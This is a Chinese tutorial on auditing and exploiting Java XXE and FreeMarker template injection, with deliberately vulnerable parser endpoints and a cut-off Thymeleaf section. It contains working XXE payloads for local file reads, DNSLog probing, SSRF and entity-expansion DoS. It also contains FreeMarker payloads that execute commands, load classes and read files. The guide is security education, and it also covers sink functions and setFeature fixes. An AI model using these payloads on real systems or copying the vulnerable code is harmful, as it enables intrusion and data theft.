java中XXE、SSTI、SpEL的相关利用与审计
XXE XML 介绍 XML (Extensible Markup Language) 是一种可扩展的标记语言,用于标记电子文件中的各种元素。它是 用来传输和存储数据的一种常用方式,并且可以被很多不同的应用程序所使用。
XML 的基本概念是标记,它使用标签来描述文档中的元素。每个标签都有一个名称,并且可以包含属性 和值。
例如,一个名为 book 的标签可以有一个 “name” 属性,并且值为 test 。
XML 文档通常以根元素开始,并以相应的结束标签结束。
XML 的一个主要优点是它允许不同的应用程序之间进行数据交换,因为它是一种通用的数据格式。
它还可以用于存储数据,并且可以使用 XML 文档来描述数据的结构。
比如,一个描述书籍的XML 文档如下:
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note SYSTEM "book.dtd" > <book id ="1" > <name > Java Sec</name > <author > admin</author > <isbn lang ="CN" > 1111</isbn > <tage > <tag > Java</tag > <tag > CyberSecurity</tag > </tage > <pubDate /> </book >
DTD DTD 是文档类型定义的缩写。它是一种用来定义XML 文档结构的文本文件,用于描述XML 文档中元素的名称、属性和约束关系。可以帮助浏览器或其他应用程序更好地解析和处理XML 文档。
例如,下面是一个简单的DTD,它描述了一个XML 文档,其中包含名为”book”的元素,其中包含一个名为”title”的元素和一个名为”author”的元素:
1 2 3 <!ELEMENT book (title , author )> <!ELEMENT title (#PCDATA )> <!ELEMENT author (#PCDATA )>
这个DTD 声明了”book”元素包含一个”title”元素和一个”author”元素,”title”和”author”元素都只包含文本数据(#PCDATA)
因此,下面的XML 文档是有效的:
1 2 3 4 <book > <title > XML Basics</title > <author > John Doe</author > </book >
但下面的XML 文档是无效的,因为它不包含”author”元素:
1 2 3 <book > <title > XML Basics</title > </book >
内部的DOCTYPE 声明 内部的DOCTYPE 声明是指将DTD 定义直接包含在XML 文档中 的DOCTYPE 声明。
一般形式如下:
1 2 3 <!DOCTYPE root-element [ DTD-definition ]>
这里,root-element 是 XML 文档的根元素,DTD-definition 是 DTD 的定义,包括元素名称、属性和约束关系。
例如,如果XML 文档的根元素是 “book”,并且 DTD 定义如下:
1 2 3 <!ELEMENT book (title , author )> <!ELEMENT title (#PCDATA )> <!ELEMENT author (#PCDATA )>
那么内部的DOCTYPE 声明可能如下所示:
1 2 3 4 5 <!DOCTYPE book [ <!ELEMENT book (title , author )> <!ELEMENT title (#PCDATA )> <!ELEMENT author (#PCDATA )> ]>
内部的 DOCTYPE 声明的优点是它可以使XML 文档更具可移植性 ,因为它不依赖于外部文件 。
但也可能会使XML 文档变得较大,并且如果 DTD定义很复杂,可能会使XML 文档变得难以阅读和维护。
外部的DOCTYPE 声明 外部的DOCTYPE 声明是指将DTD 定义保存在单独的文件中,并在XML 文档中通过DOCTYPE 声明引用该文件的声明 。也称为”外部子集”。
一般形式如下:
1 <!DOCTYPE root-element SYSTEM "DTD-location" >
root-element 是XML 文档的根元素,DTD-location 是DTD 文件的位置。
1 <!DOCTYPE book SYSTEM "book.dtd" >
例如这里,XML 文档的根元素是”book”,并且DTD 文件位于当前目录中的”book.dtd”文件中
优点: 使XML 文档更易于阅读和维护、多个XML 文档可以使用相同的DTD 定义
缺点: 依赖于外部文件,如果DTD 文件丢失或损坏,XML 文档可能无法正确解析和处理
其实DOCTYPE 声明不是必需 的,但它可以帮助浏览器或其他应用程序正确地解析和处理XML 文档。
XML 外部实体注入漏洞 XML 外部实体注入漏洞也就是 XXE
漏洞前提:应用程序使用 XML 处理器解析外部XML 实体
外部XML 实体是指定义在XML 文档外部的实体,它可以引用外部文件或资源。如果XML 处理器没有正确配置,它可能会解析这些外部实体,并将外部文件或资源的内容包含到XML 文档中。
比如:
1 2 3 4 5 6 7 POST /submit-xml HTTP/1.1 Content-Type : application/xml<user > <name > John Doe</name > <email > john.doe@example.com</email > </user >
当XML处理器没用正确配置,允许解析外部实体时:
1 2 3 4 5 6 7 8 9 10 11 12 POST /submit-xml HTTP/1.1 Content-Type : application/xml<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE user [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <user > <name > &xxe; </name > <email > john.doe@example.com</email > </user >
这里定义了一个名为xxe的外部实体,并在xml的name字段引用了该外部实体
如果没有正确配置处理器,导致可以成功解析该实体,就能将/etc/passwd 文件的内容包含到XML 文档中,最终返回给前端
XML 解析示例代码 常见的XML 解析有以下几种方式:DOM 解析、SAX 解析、JDOM 解析、DOM4J 解析、Digester 解析
DOM 和 SAX 为原生自带的。JDOM、DOM4J 和 Digester 需要引入第三方依赖库
在 Java 语言中,常见的 XML 解析器有:
DOM(Document Object Model):一种基于树的解析器,将整个XML 文档加载到内存中,并将文档组织成一个树形结构
SAX(Simple API for XML):一种基于事件的解析器,它逐行读取XML 文档并触发特定的事件
JDOM:一个用于 Java 的开源库,它提供了一个简单易用的 API 来解析和操作 XML 文档
DOM4J:一个 Java 的 XML API,是 JDOM 的升级品,用来读写 XML 文件
Digester:对 SAX 的包装,底层是采用的是 SAX 解析方式
创建一个名为 xxedemo 的Spring boot 项目工程,依赖项选择web →Spring web ,选择java8
DOM 解析 DOM 的全称是Document Object Model,也即文档对象模型。
用于将一个XML 文档转换成一个 DOM 树,并将 DOM 树放在内存中
大致步骤:
1.创建一个DocumentBuilderFactory
对象
2.创建一个DocumentBuilder
对象
3.通过 DocumentBuilder
的 parse()
方法加载 XML
4.遍历 name 和 value 节点
新建一个DomTest
类,写入如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package com.example.xxedemo;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import org.w3c.dom.Document;import org.w3c.dom.Node;import org.w3c.dom.NodeList;import org.xml.sax.InputSource;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import javax.xml.parsers.DocumentBuilder;import javax.xml.parsers.DocumentBuilderFactory;import java.io.InputStream;import java.io.StringReader;import java.util.Scanner;@RestController public class DomTest { @RequestMapping("/domdemo/vul") public String DomDemo (HttpServletRequest request) throws Exception{ try { ServletInputStream in = request.getInputStream(); String string = convertStreamToString(in); StringReader stringReader = new StringReader (string); InputSource inputSource = new InputSource (stringReader); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); Document document = db.parse(inputSource); StringBuilder sb = new StringBuilder (); NodeList rootNode = document.getChildNodes(); for (int i = 0 ; i < rootNode.getLength(); i++) { Node node = rootNode.item(i); NodeList child = node.getChildNodes(); for (int j = 0 ; j < child.getLength(); j++) { Node node1 = child.item(j); sb.append(String.format("%s:%s\n" , node1.getNodeName(), node1.getTextContent())); } } stringReader.close(); return sb.toString(); } catch (Exception e) { throw new Exception (e); } } private static String convertStreamToString (InputStream inputStream) { Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); return scanner.hasNext() ? scanner.next() : "" ; } }
先写好代码,方便后续的漏洞验证
SAX 解析 SAX 的全称是 Simple APIs for XML,也即 XML 简单应用程序接口
与 DOM 不同,SAX 提供的访问模式是一种顺序模式,这是一种快速读写 XML 数据的方式
大致步骤:
1.获取 SAXParserFactory
的实例
2.获取 SAXParser
实例
3.创建一个 handler()
对象
4.通过 parser
的 parse()
方法来解析 XML
新建SAXTest
类,写入如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package com.example.xxedemo;import com.sun.org.apache.xml.internal.resolver.readers.SAXParserHandler;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import org.xml.sax.InputSource;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import javax.xml.parsers.SAXParser;import javax.xml.parsers.SAXParserFactory;import java.io.InputStream;import java.io.StringReader;import java.util.Scanner;@RestController public class SAXTest { @RequestMapping("/saxdemo/vul") public String saxDemo (HttpServletRequest request) throws Exception { ServletInputStream inputStream = request.getInputStream(); String body = convertStreamToString(inputStream); SAXParserFactory spf = SAXParserFactory.newInstance(); SAXParser saxParser = spf.newSAXParser(); SAXParserHandler saxParserHandler = new SAXParserHandler (); saxParser.parse(new InputSource (new StringReader (body)), saxParserHandler); return "Sax xxe vuln :" ; } private String convertStreamToString (InputStream inputStream) { Scanner s = new Scanner (inputStream).useDelimiter("\\A" ); return s.hasNext() ? s.next() : "" ; } }
这个功能点,没有回显,但可以通过DNSlog外带来探测
JDOM 解析 JDOM 是一个开源项目,它基于树型结构,利用纯 JAVA 的技术对 XML 文档实现解析、生成、序列化以及多种操作
使用大致步骤:
1.创建一个 SAXBuilder
的对象
2.通过 saxBuilder
的 build()
方法,将输入流加载到 saxBuilder
中
使用前需要引入该依赖:
1 2 3 4 5 <dependency > <groupId > org.jdom</groupId > <artifactId > jdom</artifactId > <version > 1.1.3</version > </dependency >
新建JDOMTest
类,写入如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package com.example.xxedemo;import org.jdom.input.SAXBuilder;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import org.xml.sax.InputSource;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import java.io.InputStream;import java.io.StringReader;import java.util.Scanner;@RestController public class JDOMTest { @RequestMapping("/jdomdemo/vul") public String jdomdemo (HttpServletRequest request) throws Exception{ ServletInputStream inputStream = request.getInputStream(); String body = convertStreamToString(inputStream); SAXBuilder saxBuilder = new SAXBuilder (); saxBuilder.build(new InputSource (new StringReader (body))); return "Jdom xxe vuln" ; } private String convertStreamToString (InputStream inputStream) { Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); return scanner.hasNext() ? scanner.next() : "" ; } }
DOM4J 解析 Dom4j 是一个易用的、开源的库,用于XML,XPath 和 XSLT
应用于Java 平台,采用了Java 集合框架并完全支持 DOM,SAX 和 JAXP
可以理解为 Jdom 的升级
大致步骤:
1.创建 SAXReader 的对象 reader
2.通过 reader 对象的 read() 方法加载 xml 文件
使用前需要引入该依赖:
1 2 3 4 5 <dependency > <groupId > dom4j</groupId > <artifactId > dom4j</artifactId > <version > 1.6.1</version > </dependency >
创建DOM4JTest
,写入如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.example.xxedemo;import org.dom4j.io.SAXReader;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import org.xml.sax.InputSource;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import java.io.InputStream;import java.io.StringReader;import java.util.Scanner;@RestController public class DOM4JTest { @RequestMapping("/dom4jdemo/vuln") public String dom4jdemo (HttpServletRequest request) throws Exception { ServletInputStream inputStream = request.getInputStream(); String body = convertStreamToString(inputStream); SAXReader saxReader = new SAXReader (); saxReader.read(new InputSource (new StringReader (body))); return "Dom4j xxe vuln" ; } private String convertStreamToString (InputStream inputStream) { Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); return scanner.hasNext() ? scanner.next() : "" ; } }
Digester 解析 Digester 是对 SAX 的包装,底层是采用的是 SAX 解析方式
大致步骤:
1.创建 Digester 对象
2.调用 Digester 对象的 parse() 解析 XML
引入依赖:
1 2 3 4 5 <dependency > <groupId > commons-digester</groupId > <artifactId > commons-digester</artifactId > <version > 2.1</version > </dependency >
新建DigesterTest
类,并写入如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package com.example.xxedemo;import org.apache.commons.digester.Digester;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import java.io.InputStream;import java.io.StringReader;import java.util.Scanner;@RestController public class DigesterTest { @RequestMapping("/digesterdemo/vul") public String DigesterDemo (HttpServletRequest request) throws Exception { ServletInputStream inputStream = request.getInputStream(); String body = convertStreamToString(inputStream); Digester digester = new Digester (); digester.parse(new StringReader (body)); return "Digester xxe vul ..." ; } private String convertStreamToString (InputStream inputStream) { Scanner scanner = new Scanner (inputStream).useDelimiter("\\A" ); return scanner.hasNext() ? scanner.next() : "" ; } }
XXE 漏洞实战 Java XXE 支持的协议 同ssrf一样,xxe支持sun.net.www.protocol 里面的所有协议:http,https,file,ftp,mailto,jar,netdoc
通常可以使用以下协议来发起XXE 攻击:
file:允许通过文件系统访问本地文件
http/https:允许通过HTTP 协议访问远程服务器上的文件
ftp:允许通过FTP 协议访问远程服务器上的文件。
例如,下面的XML 文档可以使用 file 协议读取本地文件 /etc/passwd :
1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///etc/passwd" > ]> <root > &file; </root >
虽然jdk1.7后就不支持gopher 协议了,但在 JDK 1.7 和 JDK 1.6 update 35 是支持 gopher 协议的
https://docs.oracle.com/javase/7/docs/technotes/guides/jweb/otherFeatures/protocol_support.html
file协议回显读取数据 以上述的DomTest
为例,演示有回显场景下如何利用file协议读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 POST /domdemo/vul HTTP/1.1 Sec-Ch-Ua : "Microsoft Edge";v="131", "Chromium";v="131", "Not_A Brand";v="24"Sec-Ch-Ua-Mobile : ?0Sec-Ch-Ua-Platform : WindowsUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site : noneSec-Fetch-Mode : navigateSec-Fetch-User : ?1Sec-Fetch-Dest : documentAccept-Encoding : gzip, deflate, br, zstdAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Content-Type : test/xml<?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///D:/flag.txt" > ]> <root > &file; </root >
数据包中 Content-Type 大多数情况下值为 text/xml 或 application/xml ,以避免报错,有些情况下也可以不指定
两者区别在于编码格式不同
网络协议访问 DNSLog 无回显场景下,可以使用网络协议 HTTP/HTTPS 向 DNSLog 发起请求,初步判断是否存在 XXE 漏洞
1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY file SYSTEM "https://xxxxx.dnslog.cn" > ]> <root > &file; </root >
以DigesterTest
为例,该代码不会回显payload的结果,只能通过dnslog来验证漏洞
XXE 漏洞审计函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 XMLReaderFactory createXMLReader SAXBuilder SAXReader SAXParserFactory newSAXParser Digester DocumentBuilderFactory DocumentBuilder XMLReader DocumentHelper XMLStreamReader SAXParser SAXSource TransformerFactory SAXTransformerFactory SchemaFactory Unmarshaller XPathExpression javax.xml .parsers .DocumentBuilder javax.xml .parsers .DocumentBuilderFactory javax.xml .stream .XMLStreamReader javax.xml .stream .XMLInputFactory org.jdom .input .SAXBuilder org.jdom2 .input .SAXBuilder org.jdom .output .XMLOutputter oracle.xml .parser .v2 .XMLParser javax.xml .parsers .SAXBuilder org.dom4j .io .SAXReader org.dom4j .DocumentHelper org.xml .sax .XMLReader javax.xml .transform .sax .SAXSource javax.xml .transform .TransformerFactory javax.xml .transform .sax .SAXTransformerFactory javax.xml .validation .SchemaFactory javax.xml .validation .Validator javax.xml .bind .Unmarshaller javax.xml .xpath .XPathExpression java.beans .XMLDecode
相关payload 读取本地文件 Windows 系统读取文件需要带上盘符,如: file:///C:/
Linux/Unix 系统读取文件: file:///
1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY file SYSTEM "file:///D:/flag.txt" > ]> <root > &file; </root >
请求DNSLog 1 2 3 4 5 6 <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY file SYSTEM "https://dnslog地址" > ]> <root > &file; </root >
SSRF 探测内网 可通过时间响应差异、回显等情况探测内网 IP,以及端口开放情况
例如内网redis未授权利用
1 2 3 4 5 <?xml version="1.0" ?> <!DOCTYPE root [ <!ENTITY file SYSTEM "http://127.0.0.1:6379" > ]> <root > &file; </root >
Dos 攻击 没啥实际用处其实,就是通过不断迭代增大变量的空间,进而导致内存崩溃
1 2 3 4 5 6 7 8 9 10 11 12 <?xml version="1.0" ?> <!DOCTYPE lolz [<!ENTITY lol "lol" > <!ELEMENT lolz (#PCDATA )> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol; <!ENTITY lol2 " &lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 " &lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 " &lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 " &lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 " &lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 " &lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 " &lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 " &lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> <tag>&lol9;</tag>
相关靶场 https://github.com/c0ny1/xxe-lab/blob/master/java_xxe/src/me/gv7/xxe/LoginServlet.java
https://github.com/WebGoat/WebGoat/tree/develop/src/main/java/org/owasp/webgoat/lessons/xxe
https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/controller/XXE.java
https://github.com/j3ers3/Hello-Java-Sec/blob/master/src/main/java/com/best/hello/controller/XXE/XXE.java
XXE 漏洞修复 目前常用的修复方案为 setFeature。设置 setFeature 打开或关闭一些配置,进而防御 XXE 攻击
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST) public String DigesterSec (HttpServletRequest request) { try { String body = WebUtils.getRequestBody(request); logger.info(body); Digester digester = new Digester (); digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl" , true ); digester.setFeature("http://xml.org/sax/features/externalgeneral-entities" , false ); digester.setFeature("http://xml.org/sax/features/externalparameter-entities" , false ); digester.parse(new StringReader (body)); return "Digester xxe security code" ; } catch (Exception e){ logger.error(e.toString()); return EXCEPT; } }
其中disallow-doctype-decl 是防御XXE的最重要的特性,将该特性设置成true后,几乎所有的XML实体攻击都会被成功防御。
相关参考:
探讨XXE防御之setFeature设置
https://github.com/LeadroyaL/java-xxe-defense-demo
SSTI 模板引擎介绍 模板引擎就是前端做好一个模板页面,例如人员信息展示页面,在姓名,性别,年龄处,使用模板引擎特定的”变量符/指令/插值“进行占位,后端查询回来的数据可以动态的向这些占位处填充实际数据
常见的Java模板引擎:FreeMarker
、Velocity
、Thymeleaf
,python中则有flask,jinja2
其实 JSP 也是一种模板引擎,通过后端向前端插入数据而实现动态网页的效果
在 JSP 之前,使用 servlet 来实现动态网页效果,将数据返回到前端生成 HTML 页面时,异常的繁琐,需要使用 out.write() 一行行的输出,比如:
1 2 3 4 5 out.write("<html>\n" ) out.write("<head>\n" ) out.write("<h1>hello servlet</h1>\n" ) out.write("</head>\n" ) out.write("</html>\n" )
虽然 JSP 也是模板引擎的一种,但是由于其本质就是 servlet,可以直接无阻碍的访问底层的 servletAPI,也可以编写后端代码逻辑,导致前端和后端纠缠在一起,违背了面向对象低耦合,高内聚的核心思想,维护起来也越来越繁琐
因此经过演变,以及优秀的模板引擎接连不断地出现,JSP 也逐渐被替代
模板注入漏洞 SSTI (Server-Side Template Injection,服务器端模板注入),广泛来说是在模板引擎解析模板时,可能因为代码实现不严谨,存在将恶意代码注入到模板的漏洞。这种漏洞可以被攻击者利用来在服务器端执行任意代码,造成严重的安全威胁。
简单说,在模板引擎渲染模板时,如果模板中存在恶意代码,进而会在渲染时执行恶意代码。
不同的模板触发漏洞的场景也不同,下面我们将针对 FreeMarker,Velocity 和Thymeleaf 这三款模板引擎进行分析
FreeMarker 参考文档:http://freemarker.foofun.cn/index.html
FreeMarker 是一款模板引擎: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML 网页,电子邮件,配置文件,源代码等)的通用工具。
它不是直接面向最终用户的,而是一个Java 类库,是一款程序员可以嵌入他们所开发产品的组件
总体结构 FTL (代表FreeMarker 模板语言)是为编写模板设计的编程语言
模板(FTL 编程)组成:
插值 http://freemarker.foofun.cn/dgui_template_valueinsertion.html
插值是用来给 表达式
插入具体值然后转换为文本(字符串)。
使用格式:${expression}
,这里的 expression 可以是所有种类的表达式(比如 ${100 + x}
)。
插值仅仅可以在两种位置使用:在文本区 (比如 <h1>Hello ${name}!</h1>
)
和字符串表达式 (比如 <#include "/footer/${company}.html">
)中。
内建函数 Freemarker 自带大量的内建函数: 内建函数参考 - FreeMarker 中文官方参考手册
我们主要关注api和new两个内建函数
api 内建函数
这些内建函数从 FreeMarker 2.3.22 版本开始存在
如果value本身支持这个额外的特性, value?api
提供访问 value
的API (通常是 Java API)
比如 value?api.someJavaMethod()
, 当需要调用对象的Java方法时,这种方式很少使用, 但是 FreeMarker 揭示的value的简化视图的模板隐藏了它,也没有相等的内建函数。
例如,当有一个 Map
,并放入数据模型 (使用默认的对象包装器),模板中的 myMap.myMethod()
基本上翻译成Java的 ((Method) myMap.get("myMethod")).invoke(...)
,因此不能调用 myMethod
。
如果编写了 myMap?api.myMethod()
来代替,那么就是Java中的 myMap.myMethod()
。
http://freemarker.foofun.cn/ref_builtins_expert.html#ref_buitin_api_and_has_api
new 内建函数 这是用来创建一个确定的 TemplateModel
实现变量的内建函数。
在 ?
的左边你可以指定一个字符串, 是 TemplateModel
实现类的完全限定名。 结果是调用构造方法生成一个方法变量,然后将新变量返回。
比如:
1 2 3 4 <#-- Creates an user-defined directive be calling the parameterless constructor of the class --><#assign word_wrapp = "com .acmee .freemarker .WordWrapperDirective "?new () > <#-- Creates an user -defined directive be calling the constructor with one numerical argument --> <#assign word_wrapp_narrow = "com .acmee .freemarker .WordWrapperDirective "?new (40) >
更多关于构造方法参数被包装和如何选择重载的构造方法信息, 请阅读: 程序开发指南/其它/Bean的包装
该内建函数可以是出于安全考虑的, 因为模板作者可以创建任意的Java对象,只要它们实现了 TemplateModel
接口,然后来使用这些对象。 而且模板作者可以触发没有实现 TemplateModel
接口的类的静态初始化块。你可以(从 2.3.17版开始)使用 Configuration.setNewBuiltinClassResolver(TemplateClassResolver)
或设置 new_builtin_class_resolver
来限制这个内建函数对类的访问。 参考Java API文档来获取详细信息。
如果允许并不是很可靠的用户上传模板, 那么你一定要关注这个问题。
Freemarker 示例代码 使用SpringBoot整合Freemarker 做个简单的demo
创建项目FreemarkerDemo
,选择依赖Web-Spring Web
,Template - Apache Freemarker
在src/main/resources/application.properties
添加Freemarker相关配置:
一般会自动帮你配好,没有就添加上
1 2 3 4 5 6 7 8 9 10 11 12 server.port =8080 spring.freemarker.template-loader-path =classpath:/templates/spring.freemarker.suffix =.ftlspring.freemarker.charset =utf-8 spring.freemarker.cache =false spring.freemarker.expose-request-attributes =true spring.freemarker.expose-session-attributes =true spring.resources.static-locations =classpath:/static/
接着在src/main/resources/templates
新建index.ftl
的文件,并写入如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html > <html lang ="zh" > <head > <meta charset ="UTF-8" > <title > FreeMarkerDemo</title > </head > <body > <table > <tr > <td > ID</td > <td > 名称</td > </tr > <tr > <td > ${user.id}</td > <td > ${user.name}</td > </tr > </table > </body > </html >
新建FreemarkerController
类,并写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.example.freemarkerdemo;import org.springframework.stereotype.Controller;import org.springframework.ui.ModelMap;import org.springframework.web.bind.annotation.RequestMapping;import java.util.HashMap;@Controller public class FreemarkerController { @RequestMapping("/freemarker/index") public String FmIndex (ModelMap modelMap) { HashMap<Object, Object> map = new HashMap <>(); map.put("id" , "smal1black" ); map.put("name" , "小黑" ); modelMap.addAttribute("user" , map); return "index" ; } }
Freemarker 模板注入漏洞 该模板的注入无法直接通过传参输入payload进行利用,通常使用上传/修改模板,并在其中嵌入payload来利用
与其他模板引擎不同的是,它的攻击可以是直接把恶意代码嵌入到 html 文件中,也就是 .ftl 文件中,进而就会造成有危害的攻击。
但是Freemarker 无法直接接受用户的输入 Pyaload 而被攻击(直接传参),因为会有转码等操作,所以常用上传/修改模板,并在其中嵌入payload来进行攻击
相关 payload FreeMarker 中有大量的内建函数,其中 new 函数和 api 函数可以实现达到命令执行的效果。
但对于 api 函数必须在配置项 api_builtin_enabled
为 true
时才有效
该配置在 2.3.22 版本之后默认为 false
new 内建函数利用:
参考:https://paper.seebug.org/1304/#freemarker
主要是寻找实现了 TemplateModel 接口的可利用类来进行实例化
freemarker.template.utility 包中存在三个符合条件的类:
Execute 类
ObjectConstructor 类、
JythonRuntime 类。
1 2 3 4 5 <#assign value="freemarker.template.utility.Execute" ?new ()>${value("calc.exe" )} <#assign value="freemarker.template.utility.ObjectConstructor" ?new ()>${value("java.lang.ProcessBuilder" ,"calc.exe" ).start()} <#assign value="freemarker.template.utility.JythonRuntime" ?new ()><@value>import os;os.system("calc.exe" )</@value>
api 内建函数利用
依旧参考:https://paper.seebug.org/1304/#freemarker
可以通过 api 内建函数获取类的 classloader 然后加载恶意类,或者通过Class.getResource 的返回值来访问 URI 对象。 URI 对象包含 toURL 和create 方法,我们通过这两个方法创建任意 URI ,然后用 toURL 访问任意URL
加载恶意类:
1 2 <#assign classLoader=object?api.class .getClassLoader()> ${classLoader.loadClass("Evil.class" )}
读取任意文件:
1 2 3 4 5 6 7 8 9 <#assign uri=object?api.class .getResource("/" ).toURI()> <#assign input=uri?api.create("file:///etc/passwd" ).toURL().openConnection()> <#assign is=input?api.getInputStream()> FILE:[<#list 0. .999999999 as _> <#assign byte=is.read()> <#if byte == -1 > <#break> </#if > ${byte}, </#list>]
更多payload:https://teamssix.com/211203-200441.html#toc-heading-3
源码示例 在FreemarkerDemo 项目中的 index.ftl 文件中嵌入以下攻击代码后,再次访问,即可实现弹出计算器的效果
本质就是模仿上传/修改模板的利用点来直接修改模板内容,达到攻击的效果
1 <#assign value="freemarker.template.utility.Execute" ?new()>$ {value("calc.exe" )}
再看这个漏洞项目:https://github.com/pawelkaliniakit/springboot-freemarker-ssti
HelloController.java:
这里的hello
接口是获取用户输入的值替换到模板文件插值中
而 template
接口,在该接口中主要使用了 StringTemplateLoader 下的putTemplate()
方法,该方法是将模板放入加载器中
由此看来,可以通过先调用template接口,对原有的模板进行覆盖,替换成含有恶意payload的模板,再次访问hello接口,使该恶意模板生效,达到攻击的目的
正常调用hello接口
接下来调用template,尝试用恶意模板覆盖原有模板
hello.ftl即是hello接口使用的模板
1 2 3 { "hello.ftl": "<!DOCTYPE html > <html lang =\ "en \"> <head > <meta chars \r \net =\ "UTF-8 \"> <#assign ex=\"freemarker.template.utility.Execute\"?\r\nnew()> ${ ex(\"calc.exe\") }<title > Hello!</title > <link href =\ "/cs \r \ns /main.css \" rel =\ "stylesheet \"> </head > <body > <h2 class =\ "hello-ti \r \ntle \"> Hello!</h2 > <script src =\ "/js /main.js \"> </script > </body > </ht\r\nml>" }
然后再次调用hello接口,成功触发payload弹出calc
Thymeleaf 官方文档:https://www.thymeleaf.org/documentation.html
主要特点:
可以处理 HTML,XML,JavaScript,CSS 等各种文本格式
可以在不同的Web 框架中使用,如 Spring,Spring Boot,Play Framework
自然的模板语法和预处理引擎,易于学习和使用
可以与其他 Java 技术集成,如 Spring Security,Spring Data 等
支持模板片段,使得模板的重用性更高
可以在运行时或者静态地执行模板,方便模板的测试和调试
同时也是可扩展的,可以添加自定义标签和扩展函数,以实现自己的需求
Thymeleaf 样例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <table > <thead > <tr > <th th:text ="#{msgs.headers.name}" > Name</th > <th th:text ="#{msgs.headers.price}" > Price</th > </tr > </thead > <tbody > <tr th:each ="prod: ${allProducts}" > <td th:text ="${prod.name}" > Oranges</td > <td th:text ="${#numbers.formatDecimal(prod.price, 1, 2)}" > 0.99</td > </tr > </tbody > </table >
Themeleaf 基础 Thymeleaf 提供了多种标准表达式包括:
大多数的 Thymeleaf 属性允许将值设置或包含简单表达式
简单表达式:
Variable expressions(变量表达式) ${...}
Selection expressions(选择表达式) *{...}
Message (i18n) expressions(消息表达式)#{...}
Link (URL) expressions(链接表达式) @{...}
Fragment expressions(分段表达式) ~{...}
字面量:
文本: 'one text'
、 'Another one!'
等;
数值:0、34、3.0、12.3 等;
布尔:true、false
Null:null
Literal token(字面标记): one、sometext、 main 等
文本操作:
字符串拼接:+
文本替换: |The name is ${name}|
算术操作
布尔操作
比较: >
、<
、=
、 <=
( gt
、 lt
、 ge
、le
)
等价: ==
、≠
( eq
、ne
)
条件运算符
If-then: (if) ? (then)
If-then-else: (if) ? (then) : (else)
Default: (value) ?: (defaultvalue)
特殊标记
变量表达式 变量表达式 ${...}
是在上下文变量(在Spring 术语中也称为模型属性)上执行的OGNL 表达式(如果您正在Thymeleaf 与Spring 集成,则为Spring EL)
形式如下:
